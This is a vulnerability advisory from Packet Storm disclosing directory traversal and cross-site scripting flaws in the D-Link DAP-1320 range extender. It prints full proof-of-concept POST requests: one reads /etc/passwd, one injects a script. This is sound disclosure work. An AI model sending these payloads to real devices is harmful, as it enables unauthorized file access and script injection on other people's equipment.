Twenty Year Anniversary

D-Link DAP-1320 Directory Traversal / Cross Site Scripting

D-Link DAP-1320 Directory Traversal / Cross Site Scripting
Posted Apr 17, 2014
Authored by Kyle Lovett

D-Link DAP-1320 wireless range extenders suffer from cross site scripting and directory traversal vulnerabilities.

tags | exploit, vulnerability, xss, file inclusion
MD5 | 4112b4df739e7ec39886258958f425e4

D-Link DAP-1320 Directory Traversal / Cross Site Scripting

Change Mirror Download
D-Link's DAP-1320 Wireless Range Extender suffers from both a
directory traversal and a XSS vulnerability on all firmware versions.
(current v. 1.20B07)

---------------------------------------------------------------------------------------------------------------------
Directory Traversal
CWE-22: Path Traversal

The POST param 'html_response_page' of apply.cgi suffers from a
directory traversal vulnerability.

The following example will display the contents of /etc/passwd:

http://<IP>/apply.cgi
Pragma: no-cache
Cache-control: no-cache
Content-Type: application/x-www-form-urlencoded

POST html_response_page=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&login_name=&html_response_message=just_login&log_pass=&login_n=admin&action=do_graph_auth&tmp_log_pass=PAN&tmp_log_pass_auth=FRIED&graph_code=0DEY&session_id=57687&gcode_base64=8TEHPOO%3D
HTTP/1.1

---------------------------------------------------------------------------------------------------------------------
XSS
CWE-79: Cross Site Scripting

The POST param 'html_response_page' of apply.cgi suffers from a XSS
vulnerability.

Example:

http://<IP>/apply.cgi
Pragma: no-cache
Cache-control: no-cache
Content-Type: application/x-www-form-urlencoded

POST
html_response_page=%3Cscript%3Ealert%28"SquirrelLord"%29%3B%3C%2Fscript%3E&login_name=Huggy&html_response_message=just_login&log_pass=&login_n=admin&action=do_graph_auth&tmp_log_pass=pop&tmp_log_pass_auth=goes&graph_code=joffrey&session_id=57687&gcode_base64=ZZTOPI%3D
HTTP/1.1

---------------------------------------------------------------------------------------------------------------------

Vendor Link:
http://support.dlink.com/ProductInfo.aspx?m=DAP-1320

Research Contact: K Lovett

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

August 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    19 Files
  • 2
    Aug 2nd
    17 Files
  • 3
    Aug 3rd
    16 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    1 Files
  • 6
    Aug 6th
    19 Files
  • 7
    Aug 7th
    15 Files
  • 8
    Aug 8th
    9 Files
  • 9
    Aug 9th
    7 Files
  • 10
    Aug 10th
    10 Files
  • 11
    Aug 11th
    1 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    14 Files
  • 14
    Aug 14th
    18 Files
  • 15
    Aug 15th
    38 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close